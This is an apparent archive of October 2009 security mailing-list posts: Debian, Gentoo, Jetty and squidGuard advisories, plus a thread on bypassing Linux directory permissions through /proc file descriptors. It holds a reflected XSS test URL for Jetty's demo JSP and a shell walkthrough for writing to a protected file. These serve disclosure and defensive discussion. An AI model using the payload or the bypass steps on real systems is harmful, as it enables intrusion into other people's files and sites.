http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2982
  [ 8 ] CVE-2009-2983
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2983
  [ 9 ] CVE-2009-2985
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2985
  [ 10 ] CVE-2009-2986
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2986
  [ 11 ] CVE-2009-2988
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2988
  [ 12 ] CVE-2009-2990
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2990
  [ 13 ] CVE-2009-2991
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2991
  [ 14 ] CVE-2009-2993
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2993
  [ 15 ] CVE-2009-2994
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2994
  [ 16 ] CVE-2009-2996
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2996
  [ 17 ] CVE-2009-2997
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2997
  [ 18 ] CVE-2009-2998
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2998
  [ 19 ] CVE-2009-3431
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3431
  [ 20 ] CVE-2009-3458
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3458
  [ 21 ] CVE-2009-3459
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3459
  [ 22 ] CVE-2009-3462
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3462

Availability


This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200910-03.xml

Concerns?
=

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
secur...@gentoo.org or alternatively, you may file a bug at
https://bugs.gentoo.org.

License
===

Copyright 2009 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.5


signature.asc
Description: PGP signature

[SECURITY] [DSA 1919-1] New smarty packages fix several vulnerabilities

[Thijs Kinkhorst]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

- 
Debian Security Advisory DSA-1919-1  secur...@debian.org
http://www.debian.org/security/  Thijs Kinkhorst
October 25, 2009  http://www.debian.org/security/faq
- 

Package: smarty
Vulnerability  : several
Problem type   : remote
Debian-specific: no
CVE Id(s)  : CVE-2008-4810 CVE-2009-1669
Debian Bug : 504328 529810

Several remote vulnerabilities have been discovered in Smarty, a PHP
templating engine. The Common Vulnerabilities and Exposures project
identifies the following problems:

CVE-2008-4810

  The _expand_quoted_text function allows for certain restrictions in
  templates, like function calling and PHP execution, to be bypassed.

CVE-2009-1669

  The smarty_function_math function allows context-dependent attackers
  to execute arbitrary commands via shell metacharacters in the equation
  attribute of the math function.

For the old stable distribution (etch), these problems have been fixed
in version 2.6.14-1etch2.

For the stable distribution (lenny), these problems have been fixed in
version 2.6.20-1.2.

For the unstable distribution (sid), these problems will be fixed soon.

We recommend that you upgrade your smarty package.

Upgrade instructions
- 

wget url
will fetch the file for you
dpkg -i file.deb
will install the referenced file.

If you are using the apt-get package manager, use the line for
sources.list as given below:

apt-get update
will update the internal database
apt-get upgrade
will install corrected packages

You may use an automated update by adding the resources from the
footer to the proper configuration.

Debian GNU/Linux 4.0 alias etch
- ---

Source archives:

  http://security.debian.org/pool/updates/main/s/smarty/smarty_2.6.14-1etch2.dsc
Size/MD5 checksum:  958 f061c466cef93df89e677aeb72101910
  
http://security.debian.org/pool/updates/main/s/smarty/smarty_2.6.14.orig.tar.gz
Size/MD5 checksum:   144986 9186796ddbc29191306338dea9d632a0
  
http://security.debian.org/pool/updates/main/s/smarty/smarty_2.6.14-1etch2.diff.gz
Size/MD5 checksum: 4290 0ef9a669c127818f5ff084e2829738e9

Architecture independent packages:

  
http://security.debian.org/pool/updates/main/s/smarty/smarty_2.6.14-1etch2_all.deb
Size/MD5 checksum:   183300 d0ac954aad344f20b5933b09593b2968

Debian GNU/Linux 5.0 alias lenny
- 

Source archives:

  http://security.debian.org/pool/updates/main/s/smarty/smarty_2.6.20-1.2.dsc
Size/MD5 checksum: 1409 f280e2733ef52ff621891f99b26386f3
  
http://security.debian.org/pool/updates/main/s/smarty/smarty_2.6.20-1.2.diff.gz
Size/MD5 checksum: 4876 4d729d18d7efe68e1ce3023149436c01
  
http://security.debian.org/pool/updates/main/s/smarty/smarty_2.6.20.orig.tar.gz
Size/MD5 checksum:   158091 35f405b2418a26a895302a2ce5bf89d2

Architecture independent packages:

  
http://security.debian.org/pool/updates/main/s/smarty/smarty_2.6.20-1.2_all.deb
Size/MD5 checksum:   204412 1e8e85b298b97176359dd15731e0dc88


  These files will probably be moved into the stable distribution on
  its next update.

- 
-
For apt-get: deb http://security.debian.org/ stable/updates main
For dpkg-ftp: ftp://security.debian.org/debian-security 
dists/stable/updates/main
Mailing list: debian-security-annou...@lists.debian.org
Package info: `apt-cache show ' and http://packages.debian.org/
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.9 (GNU/Linux)

iQEcBAEBAgAGBQJK5HuJAAoJECIIoQCMVaAc41oH/iXgblL5cfzH4wujl26DrEmd
8ivwmMDdRzd6zio60VtRgbLFfDa1nvByavfJYbJSgjkphbf4qXMxNVVRxp0z9laT
fg7gkytG9KXXiqvhxz8NrzCGg7v0jmOorATYCamFEUgKg9d+sXy2/bIpO3xN1txU
Wvub7/q3n8DUg3go7kPMCC5euzaB0Fs0fq6zzWuRcKW640bMiOyNq6n/kvTICv3x
4Yv+PIj1KbXgz/R45+QtyQGibJzj3XWTL5DpRNe1fH8uUQ4sqKCyKDsaayrOXa0w
Y0wkZ3IEmbOpe1UmUB57kAVSzfRAicFOGRJmXunni/tBs2ivBL27P7F/dMKYAQg=
=EBks
-END PGP SIGNATURE-

[SECURITY] [DSA 1918-1] New phpmyadmin packages fix several vulnerabilities

[Thijs Kinkhorst]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

- 
Debian Security Advisory DSA-1918-1  secur...@debian.org
http://www.debian.org/security/  Thijs Kinkhorst
October 25, 2009  http://www.debian.org/security/faq
- 

Package: phpmyadmin
Vulnerability  : several
Problem type   : remote
Debian-specific: no
CVE Id(s)  : CVE-2009-3696 CVE-2009-3697
Debian Bug : 552194

Several remote vulnerabilities have been discovered in phpMyAdmin, a tool
to administer MySQL over the web. The Common Vulnerabilities and Exposures
project identifies the following problems:

CVE-2009-3696

  Cross-site scripting (XSS) vulnerability allows remote attackers to
  inject arbitrary web script or HTML via a crafted MySQL table name.

CVE-2009-3697

  SQL injection vulnerability in the PDF schema generator functionality 
  allows remote attackers to execute arbitrary SQL commands. This issue
  does not apply to the version in Debian 4.0 Etch.

Additionally, extra fortification has been added for the web based setup.php
script. Although the shipped web server configuration should ensure that
this script is protected, in practice this turned out not always to be the
case. The config.inc.php file is not writable anymore by the webserver user
anymore. See README.Debian for details on how to enable the setup.php
script if and when you need it.


For the old stable distribution (etch), these problems have been fixed in
version 2.9.1.1-13.

For the stable distribution (lenny), these problems have been fixed in
version 2.11.8.1-5+lenny3.

For the unstable distribution (sid), these problems have been fixed in
version 3.2.2.1-1.

We recommend that you upgrade your phpmyadmin package.

Upgrade instructions
- 

wget url
will fetch the file for you
dpkg -i file.deb
will install the referenced file.

If you are using the apt-get package manager, use the line for
sources.list as given below:

apt-get update
will update the internal database
apt-get upgrade
will install corrected packages

You may use an automated update by adding the resources from the
footer to the proper configuration.


Debian GNU/Linux 4.0 alias etch
- ---

Source archives:

  
http://security.debian.org/pool/updates/main/p/phpmyadmin/phpmyadmin_2.9.1.1-13.dsc
Size/MD5 checksum: 1021 0a8c412c5481b2260562ab5649c70d8b
  
http://security.debian.org/pool/updates/main/p/phpmyadmin/phpmyadmin_2.9.1.1.orig.tar.gz
Size/MD5 checksum:  3500563 f598509b308bf96aee836eb2338f523c
  
http://security.debian.org/pool/updates/main/p/phpmyadmin/phpmyadmin_2.9.1.1-13.diff.gz
Size/MD5 checksum:57060 68fc6b7269343482b96326553dd1e0c0

Architecture independent packages:

  
http://security.debian.org/pool/updates/main/p/phpmyadmin/phpmyadmin_2.9.1.1-13_all.deb
Size/MD5 checksum:  3605314 85eaa36525db64fdd0ba9955c9def399

Debian GNU/Linux 5.0 alias lenny
- 

Source archives:

  
http://security.debian.org/pool/updates/main/p/phpmyadmin/phpmyadmin_2.11.8.1.orig.tar.gz
Size/MD5 checksum:  2870014 075301d16404c2d7d58216efc14f7a50
  
http://security.debian.org/pool/updates/main/p/phpmyadmin/phpmyadmin_2.11.8.1-5+lenny3.diff.gz
Size/MD5 checksum:63773 a3c38a698e954534517a81570e9fc9fa
  
http://security.debian.org/pool/updates/main/p/phpmyadmin/phpmyadmin_2.11.8.1-5+lenny3.dsc
Size/MD5 checksum: 1547 db7c29dbd8ad5758ea8283ebbde9c611

Architecture independent packages:

  
http://security.debian.org/pool/updates/main/p/phpmyadmin/phpmyadmin_2.11.8.1-5+lenny3_all.deb
Size/MD5 checksum:  2883628 da6a70575f8ae6608910a1c5aaf81f1c


  These files will probably be moved into the stable distribution on
  its next update.

- 
-
For apt-get: deb http://security.debian.org/ stable/updates main
For dpkg-ftp: ftp://security.debian.org/debian-security 
dists/stable/updates/main
Mailing list: debian-security-annou...@lists.debian.org
Package info: `apt-cache show ' and http://packages.debian.org/
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.9 (GNU/Linux)

iQEcBAEBAgAGBQJK5DziAAoJECIIoQCMVaAcUQAH/0julm1B+LL0DHVhN0HFkTB4
ufBJ/bUuHS/aVPQEFE8iPCPAof/zgHcjfkHXyxJ0Nq1RnQ4pENePSgRFlNxjJPop
yKFwklh7clFozO1nukuldP0Ql28LzqRv9JGwCc9bGOm6YxrunnO/B5f8/4jQvgRN
Wvye92shb7tpykTaYnez8aw4cJMIbDCiAir4l9ev610LDo+uz33PvkhstB2f0EYg
Mtf5A5QWZpkHEKLFg0xmSOYp3FfMS+kFz6t8OTuCiBWqZpNlPwMJbbdJGwcA2jDo
b1WFq5xvRH8pVWfYKMIJeL52dpyzmPFYHiD8cR2lTdeSC5ckpdYgerRb+2OA/rY=
=Laew
-END PGP SIGNATURE-

Re: /proc filesystem allows bypassing directory permissions on Linux

[Pavel Kankovsky]

Consider this scenario, pavel's actions are the same as in yours:

pavel & guest: cd /tmp
pavel: mkdir my_priv; cd my_priv
pavel: echo this file should never be writable > unwritable_file
guest: mkdir pirate_chest
guest: ln my_priv/unwritable_file pirate_chest
pavel: chmod 700 .
pavel: chmod 666 unwritable_file 
pavel: cat unwritable_file 
guest: echo got you > pirate_chest/unwritable_file
pavel: cat unwritable_file

pavel might have detected this attack if he checked the number of
hardlinks on "unwritable_file"  between the chmod's. But he did not
check that.

Yes, procfs makes it possible to circument directory permissions 
but it does not mean you are not playing with an armed grenade whenever 
you mix chmod with the number of the Beast.

-- 
Pavel Kankovsky aka Peak  / Jeremiah 9:21\
"For death is come up into our MS Windows(tm)..." \ 21st century edition /

Re: /proc filesystem allows bypassing directory permissions on Linux

[psz]

Dear Pavel,

> ... that's exactly the problem.

I see, the /proc/*/fd/* objects seem "confused": are they symlinks,
hardlinks, or open file descriptors? I guess should always act as
the latter, where access mode flags (O_RDONLY or O_RDWR) are set at
open() and not changeable afterwards in fcntl(). Any open() on them
should behave as a dup().

Cheers, Paul

Paul Szabo   p...@maths.usyd.edu.au   http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics   University of SydneyAustralia

Re: /proc filesystem allows bypassing directory permissions on Linux

[Dan Yefimov]

On 26.10.2009 13:54, p...@maths.usyd.edu.au wrote:

Dear Dan,


... in authentic kernels /proc//fd/  are symlinks ...


They appear to /bin/ls as symlinks, but observation suggests that they
"act" as hardlinks. Could that be fixed somehow? (I did look at the
kernel fs/proc/base.c but did not make much sense to me...)

Just looked more carefully at fs/proc/base.c. That behavior is due to 
proc_fd_info() called from proc_fd_link() obtains file->f_path, that in turn 
contains the reference to the open file dentry and hence inode. That's exactly 
why those symlinks behave as hardlinks. This behavior assumes, that if you were 
able to open the file, you've all necessary transition permissions to access 
it's inode. But in order to follow them you need privileges to read the process 
memory, which hardly restricts the impact of this behavior. I don't think this 
should be fixed, since /proc//fd/ is mainly for debugging purposes.

--

Sincerely Your, Dan.

Jetty 6.x and 7.x Multiple Vulnerabilities

[ascii]

Jetty 6.x and 7.x Multiple Vulnerabilities

 Name  Multiple Vulnerabilities in Jetty
 Systems Affected  Jetty 7.0.0 and earlier versions
 Severity  Medium
 Impact (CVSSv2)   Medium 5/10, vector: (AV:N/AC:L/Au:N/C:P/I:N/A:N)
 Vendorhttp://www.mortbay.org/jetty/
 Advisory  http://www.ush.it/team/ush/hack-jetty6x7x/jetty-adv.txt
 Authors   Francesco "ascii" Ongaro (ascii AT ush DOT it)
   Giovanni "evilaliv3" Pellerano (evilaliv3 AT ush DOT it)
   Antonio "s4tan" Parata (s4tan AT ush DOT it)
 Date  20091024

I. BACKGROUND

Jetty is an open-source project providing a HTTP server, HTTP client and
javax.servlet container. These 100% java components are full-featured,
standards based, small foot print, embeddable, asynchronous and
enterprise scalable. Jetty is dual licensed under the Apache Licence
2.0 and/or the Eclipse Public License 1.0. Jetty is free for commercial
use and distribution under the terms of either of those licenses.

Jetty is used in a wide variety of projects and products: embedded in
phones, in tools like the the eclipse IDE, in frameworks like GWT, in
application servers like Apache Geronimo and in huge clusters like
Yahoo's Hadoop cluster.

The latest version at the time of writing can be obtained from:
http://dist.codehaus.org/jetty/jetty-7.0.0/jetty-hightide-7.0.0.v2009100
5.tar.gz

Running Jetty 7.0.x is very easy, from the documentation page at:
http://docs.codehaus.org/display/JETTY/Running+Jetty-7.0.x

- From an unpacked release directory of jetty-7,
  the server can be started with the command: java -jar start.jar

- This will start a HTTP server on port 8080 and
  deploy the test web application at: http://localhost:8080/test

II. DESCRIPTION

Multiple Vulnerabilities exist in Jetty software.

III. ANALYSIS

Summary:

 A) "Dump Servlet" information leak
(Affected versions: Any)

 B) "FORM Authentication demo" information leak
(Affected versions: Any)

 C) "JSP Dump" reflected XSS
(Affected versions: Any)

 D) "Session Dump Servlet" stored XSS
(Affected versions: Any)

 E) "Cookie Dump Servlet" escape sequence injection
(Affected versions: Any)

 F) Http Content-Length header escape sequence injection
(Affected versions: Any)

 G) "Cookie Dump Servlet" stored XSS
(Affected versions: =<6.1.20)

 H) WebApp JSP Snoop page XSS
(Affected versions: =<6.1.21)


A) "Dump Servlet" information leak
   (Affected versions: Any)

By requesting the demo "Dump Servlet" at an URL like "/test/dump/"
it's possible to obtain a number of details about the remote Jetty
instance.

Variables: getMethod, getContentLength, getContentType, getRequestURI,
getRequestURL, getContextPath, getServletPath, getPathInfo,
getPathTranslated, getQueryString, getProtocol, getScheme,
getServerName, getServerPort, getLocalName, getLocalAddr,
getLocalPort, getRemoteUser, getRemoteAddr, getRemoteHost,
getRemotePort, getRequestedSessionId, isSecure(), isUserInRole(admin),
getLocale, getLocales, getLocales

Plus a dump of all the HTTP request headers, the request parameters
and much more.

Five forms can be used to perform a series of functionality tests
including:

  - Form to generate GET content
  - Form to generate POST content
  - Form to generate UPLOAD content
  - Form to set Cookie
  - Form to get Resource

While this is a feature we think that demo utilities should be
disabled by default. Many live deployments of Jetty exhibit demo
pages that leak important information and expose several vulnerabilites.

B) "FORM Authentication demo" information leak
   (Affected versions: Any)

An example application often erroneously deployed is the "FORM
Authentication demo" (logon.html and logonError.html pages) that uses
the standard "j_security_check" component.

By requesting the "/test/logon.html" page it's possible to detect the
presence of a Jetty installation.

As noted before we think that demo utilities should be disabled by
default.

C) "JSP Dump" reflected XSS
   (Affected versions: Any)

It has been found that the demo "JSP Dump" feature is vulnerable to
reflected Cross Site Scripting attacks. This can be replicated by
issuing a GET request to the "/test/jsp/dump.jsp" page:
"/test/jsp/dump.jsp?%3Cscript%3Ealert(%22hello%20world%22)%3C/script%3E"

Any GET key and value that reach the remote is reflected unencoded.

The problem resides in the "jsp/dump.jsp" file from the
"webapps/test.war" archive.

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--


<%@ page import="java.util.Enumeration" %>

JSP Dump


Request URI:<%= request.getRequestURI() %>
ServletPath:<%= request.getServletPath() %>
PathInfo:<%= request.getPathInfo() %>

<%
   Enumeration e =request.getParameterNames();
   while(e.hasMoreElements())
   {
   String name = (String)e.nextElement();
%>

  getParameter("<%= name %>")
  <%= request.getParameter(name) %>
<% } %>




--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8

squidGuard 1.3 & 1.4 : buffer overflow

[majinboo]

Advisory


Date2009-10-26
Program squidGuard
URL http://squidguard.org/
Found byMatthieu BOUTHORS

Application description


SquidGuard is a URL redirector used to use blacklists with the proxysoftware
Squid. There are two big advantages to squidguard: it is fast and it is free.
SquidGuard is published under GNU Public License.

Vulnerability description
-

Multiple buffer overflow can lead to filtering policy bypass and DoS.

The Common Vulnerabilities and Exposures (CVE) project has assigned
the name CVE-2009-3700 to this issue. This is a candidate for
inclusion in the CVE list (http://cve.mitre.org), which standardizes
names for security problems.

Vulnerability details
--

The vulnerability is due to insecure buffer handling.

For instance in sgLog.c :

 if(vsprintf(msg, format, ap) > (MAX_BUF - 1))

This piece of code may cause a buffer overflow and detects when it's too late.
squidGuard only logs URL with patched bypass attempts (for instance, trailing
dot or double dash, see http://www.squidguard.org/Doc/advisories.html).

MAX_BUF is 4096, squid does not allow URL greater than 4096 characters.
So in order to cause a buffer overflow, the attacker has to use an URL close to
4096 characters. A succesfull attackers would put squidGuard in emergency mode,
in this mode squidGuard approve each requests. A less succesfull attacker can
freeze the squidGuard instance, reproduct this attack can lead to a DoS.

Systems affected


squidGuard 1.3
squidGuard 1.4

Solution


Two patches has been released by the squidGuard team : Patch-20091015 and
Patch-20091019.

Re: /proc filesystem allows bypassing directory permissions on Linux

[Anton Ivanov]

> >
> > Not that I would have expected anything different considering who posted
> > it in the first place.
> >
> Thus Debian kernel team should be blamed for that misbehaviour. Don't worry, 
> hardlinks behave just the same way, as you describe. Use authentic Linux 
> kernels, if you dislike that.

Just tested it on my colo where the provider is using some homebrew
derived from the upstream Linux kernel. In any case Pavel was most
likely using Suse and I asked someone to give it a go on one of all
Ubuntu varieties. So even if it is not present upstream it is in a patch
which more than one distro has adopted (f.e. ptrace fixes).

I have filed this as a security bug on debian by the way. So you can
express your opinions about the supposed "inferiority" of their patches
directly to them. 

Note - in order to get the descriptor in the first place you need to
have access to the directory and the user to change it down to 700
later. So this is actually of use predominantly under race conditions
and such. Limited use, but some use none the less. I can think of at
least a couple of places where I can wreak some havoc with that.

-- 
   Understanding is a three-edged sword:
your side, their side, and the truth. --Kosh Naranek

A. R. Ivanov
E-mail:  anton.iva...@kot-begemot.co.uk
WWW: http://www.kot-begemot.co.uk/

Re: /proc filesystem allows bypassing directory permissions on Linux

[Pavel Machek]

On Sat 2009-10-24 10:47:38, p...@maths.usyd.edu.au wrote:
> Dear Pavel,
> 
> > ... can you see a way to write to that file when /proc is unmounted?
> 
> While there is legitimate access to do so (after file is created and
> before pavel issues 'chmod 700 /tmp/my_priv'), guest to use commands:
> 
>   ln /tmp/my_priv/unwritable_file /tmp/hardlink-to-object
> 
> and then use that instead of /proc/self/fd/3, should work same as
> original "attack" (and am curious whether 'link counts' shown by
> 'ls -l /tmp/my_priv/unwritable_file' are 1 or 2 in each case).

You are welcome to try it. link count is 2 for "ln" case and 1 for
"/proc" case -- and that's exactly the problem. "pavel" has no chance
to know that backdoor exists.
Pavel
-- 
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) 
http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html

Re: /proc filesystem allows bypassing directory permissions on Linux

[Dan Yefimov]

On 24.10.2009 22:05, Anton Ivanov wrote:

It works on Debian 2.6.26 out of the box. It is not an obscure patched
kernel case I am afraid.

If you redir an FD to a file using thus redir-ed FD in /proc allows you
to bypass directory permissions for where the file is located.
Thankfully, file permissions still apply so you need an app which has
silly file perms in a bolted down directory for this.

Symlinking the same file to a link on a normal ext3 or nfs filesystem as
a sanity check shows correct permission behaviour. If you try to write
to that symlink you get permission denied so the permissions on the fs
actually work.

No need to be root, nothing. It is not a case of "forget to drop EID or
something else like that either". It looks like what it says on the tin
- permission bypass.

Not that I would have expected anything different considering who posted
it in the first place.

Thus Debian kernel team should be blamed for that misbehaviour. Don't worry, 
hardlinks behave just the same way, as you describe. Use authentic Linux 
kernels, if you dislike that.

--

Sincerely Your, Dan.

Re: /proc filesystem allows bypassing directory permissions on Linux

[Pavel Machek]

On Mon 2009-10-26 15:37:50, Dan Yefimov wrote:
> On 26.10.2009 13:54, p...@maths.usyd.edu.au wrote:
> >Dear Dan,
> >
> >>... in authentic kernels /proc//fd/  are symlinks ...
> >
> >They appear to /bin/ls as symlinks, but observation suggests that they
> >"act" as hardlinks. Could that be fixed somehow? (I did look at the
> >kernel fs/proc/base.c but did not make much sense to me...)
> >
> Just looked more carefully at fs/proc/base.c. That behavior is due
> to proc_fd_info() called from proc_fd_link() obtains file->f_path,
> that in turn contains the reference to the open file dentry and
> hence inode. That's exactly why those symlinks behave as hardlinks.
> This behavior assumes, that if you were able to open the file,
> you've all necessary transition permissions to access it's inode.
> But in order to follow them you need privileges to read the process
> memory, which hardly restricts the impact of this behavior. I don't
> think this should be fixed, since /proc//fd/ is mainly for
> debugging purposes.

guest certianly does not have permission to ptrace() pavel's
processes, so...
Pavel
-- 
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) 
http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html

Re: /proc filesystem allows bypassing directory permissions on Linux

[Anton Ivanov]

On Sat, 2009-10-24 at 21:39 +0400, Dan Yefimov wrote:
> On 24.10.2009 20:59, Anton Ivanov wrote:
> >> Not to tell about
> >> that /proc//fd/ contains only symbolic links, not files, so I can't
> >> understand, how the original reporter managed to gain access to the file 
> >> in the
> >> restricted directory using that symlink.
> >
> > The perms are definitely broken and without a code audit on procfs I
> > would not bet that this is limited just to this rather obscure test
> > case.
> >
> > To be honest, I hope that it is limited to this rather obscure test
> > case. If it is not there may be entertaining ramifications.
> >
> Given my citation above (I personally use Linux), that obscure test case 
> looks 
> doubtful. If the original reporter uses some patched kernel, that doesn't 
> matter 
> others.

It works on Debian 2.6.26 out of the box. It is not an obscure patched
kernel case I am afraid. 

If you redir an FD to a file using thus redir-ed FD in /proc allows you
to bypass directory permissions for where the file is located.
Thankfully, file permissions still apply so you need an app which has
silly file perms in a bolted down directory for this.

Symlinking the same file to a link on a normal ext3 or nfs filesystem as
a sanity check shows correct permission behaviour. If you try to write
to that symlink you get permission denied so the permissions on the fs
actually work.

No need to be root, nothing. It is not a case of "forget to drop EID or
something else like that either". It looks like what it says on the tin
- permission bypass. 

Not that I would have expected anything different considering who posted
it in the first place.

-- 
   Understanding is a three-edged sword:
your side, their side, and the truth. --Kosh Naranek

A. R. Ivanov
E-mail:  anton.iva...@kot-begemot.co.uk
WWW: http://www.kot-begemot.co.uk/

Re: /proc filesystem allows bypassing directory permissions on Linux

[Dan Yefimov]

On 24.10.2009 20:59, Anton Ivanov wrote:

Not to tell about
that /proc//fd/ contains only symbolic links, not files, so I can't
understand, how the original reporter managed to gain access to the file in the
restricted directory using that symlink.


The perms are definitely broken and without a code audit on procfs I
would not bet that this is limited just to this rather obscure test
case.

To be honest, I hope that it is limited to this rather obscure test
case. If it is not there may be entertaining ramifications.

Given my citation above (I personally use Linux), that obscure test case looks 
doubtful. If the original reporter uses some patched kernel, that doesn't matter 
others.

--

Sincerely Your, Dan.

Re: /proc filesystem allows bypassing directory permissions on Linux

[psz]

Dear Dan,

> ... in authentic kernels /proc//fd/ are symlinks ...

They appear to /bin/ls as symlinks, but observation suggests that they
"act" as hardlinks. Could that be fixed somehow? (I did look at the
kernel fs/proc/base.c but did not make much sense to me...)

BTW: did you notice how bugtraq failed to follow this conversation?
They seem to have a strong pro-Windows, contra-Linux stance.

Cheers, Paul

Paul Szabo   p...@maths.usyd.edu.au   http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics   University of SydneyAustralia

Re: /proc filesystem allows bypassing directory permissions on Linux

[Anton Ivanov]

[snip]

> If the application sets wrong permissions on files, it is by definition 
> broken. 
> Yes, setting more restrictive directory permissions can to some extent 
> mitigate 
> the problem, but not really fix it. What if that application is used by 
> multiple 
> users?

There have been cases and quite a few. 

My first thoughts were about Word Perfect. Actually it is just a
representative of a wider class of apps there. The semantics of locking
on Windows and Unix differ and when apps get ported (especially using a
toolkit) people do not account for the advisory nature of Unix flock().
As a result files that were reasonably safe in the original environment
due to OS-level exclusive locking stop being so on the Unix port. 

Also, while it is a wonderful position to stand up and proclaim that
application is broken in a commercial environment you quite often have
no choice but to bolt it down to the maximum extent possible until the
developers fix it and directory permissions is the valid way of doing
so.

> The problem raised in the original mail is to some extent artificial, as the 
> only users able to access /proc//fd/ are the user with the same UID, as 
> the 
> process EUID, and root, and if the process is either setuid or setgid, 
> /proc//fd of that process is accessible only by root. Not to tell about 
> that /proc//fd/ contains only symbolic links, not files, so I can't 
> understand, how the original reporter managed to gain access to the file in 
> the 
> restricted directory using that symlink.

The perms are definitely broken and without a code audit on procfs I
would not bet that this is limited just to this rather obscure test
case. 

To be honest, I hope that it is limited to this rather obscure test
case. If it is not there may be entertaining ramifications.

Cheers,

-- 
   Understanding is a three-edged sword:
your side, their side, and the truth. --Kosh Naranek

A. R. Ivanov
E-mail:  aiva...@sigsegv.cx
WWW: http://www.sigsegv.cx/
pub 1024D/DDE5E715 2002-03-03 Anton R. Ivanov 
Fingerprint: C824 CBD7 EE4B D7F8 5331  89D5 FCDA 572E DDE5 E715

Re: /proc filesystem allows bypassing directory permissions on Linux

[Pavel Kankovsky]

On Sun, 25 Oct 2009, Pavel Kankovsky wrote:

> pavel might have detected this attack if he checked the number of
> hardlinks on "unwritable_file"  between the chmod's. But he did not
> check that.

I stand corrected. He did it--in a comment:

> # check link count on unwritable_file. We would not want someone 
> # to have a hard link to work around our permissions, would we?

-- 
Pavel Kankovsky aka Peak  / Jeremiah 9:21\
"For death is come up into our MS Windows(tm)..." \ 21st century edition /

Re: /proc filesystem allows bypassing directory permissions on Linux

[Dan Yefimov]

On 24.10.2009 10:47, Anton Ivanov wrote:

Following your logic we should all abandon directory permissions and
stick to file-only ones. Hmm... Dunno, probably the blood level in my
coffee subsystem is too high this morning, but I do not quite relish
that idea.

I didn't affirm that. I only told, that directory permissions can't in fact 
restrict access to the file it contains, they can only hamper accessing that 
file via that directory.



There is a very valid case of trying to restrict access via directory
permissions. Suppose you have a binary program that uses its own
directory but for whatever reason keeps scribbling in files with wrong
permission in it. While I cannot think of a current example, out of the
older ones at least one of the Word Perfect versions for linux used to
do that.

By tightening up the protection on the directory the sysadmin can
mitigate the problem. It is in fact the standard way of doing this.

If the application sets wrong permissions on files, it is by definition broken. 
Yes, setting more restrictive directory permissions can to some extent mitigate 
the problem, but not really fix it. What if that application is used by multiple 
users?
The problem raised in the original mail is to some extent artificial, as the 
only users able to access /proc//fd/ are the user with the same UID, as the 
process EUID, and root, and if the process is either setuid or setgid, 
/proc//fd of that process is accessible only by root. Not to tell about 
that /proc//fd/ contains only symbolic links, not files, so I can't 
understand, how the original reporter managed to gain access to the file in the 
restricted directory using that symlink.

--

Sincerely Your, Dan.

Re: /proc filesystem allows bypassing directory permissions on Linux

[Dan Yefimov]

On 26.10.2009 18:06, Pavel Machek wrote:

On Mon 2009-10-26 15:37:50, Dan Yefimov wrote:

On 26.10.2009 13:54, p...@maths.usyd.edu.au wrote:

Dear Dan,


... in authentic kernels /proc//fd/   are symlinks ...


They appear to /bin/ls as symlinks, but observation suggests that they
"act" as hardlinks. Could that be fixed somehow? (I did look at the
kernel fs/proc/base.c but did not make much sense to me...)


Just looked more carefully at fs/proc/base.c. That behavior is due
to proc_fd_info() called from proc_fd_link() obtains file->f_path,
that in turn contains the reference to the open file dentry and
hence inode. That's exactly why those symlinks behave as hardlinks.
This behavior assumes, that if you were able to open the file,
you've all necessary transition permissions to access it's inode.
But in order to follow them you need privileges to read the process
memory, which hardly restricts the impact of this behavior. I don't
think this should be fixed, since /proc//fd/ is mainly for
debugging purposes.


guest certianly does not have permission to ptrace() pavel's
processes, so...


But guest has permissions to ptrace() his own processes. If we remember your 
original report, he abuses input redirection of bash run by himself. So again, 
there's no real security hole here.

--

Sincerely Your, Dan.

Re: /proc filesystem allows bypassing directory permissions on Linux

[Pavel Machek]

On Mon 2009-10-26 13:42:17, Dan Yefimov wrote:
> On 25.10.2009 2:40, p...@maths.usyd.edu.au wrote:
> >Dear Pavel,
> >
> >>... that's exactly the problem.
> >
> >I see, the /proc/*/fd/* objects seem "confused": are they symlinks,
> >hardlinks, or open file descriptors? I guess should always act as
> >the latter, where access mode flags (O_RDONLY or O_RDWR) are set at
> >open() and not changeable afterwards in fcntl(). Any open() on them
> >should behave as a dup().
> >
> Paul, in authentic kernels /proc//fd/ are symlinks, not
> anything other. There're no such publicly accessible file objects,
> as file descriptors, there're only files (including special ones),
> directories and symlinks. But the above words don't necessary relate
> to patched kernels like distributed by third parties.

Check your facts. Those symlinks are special.
Pavel
-- 
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) 
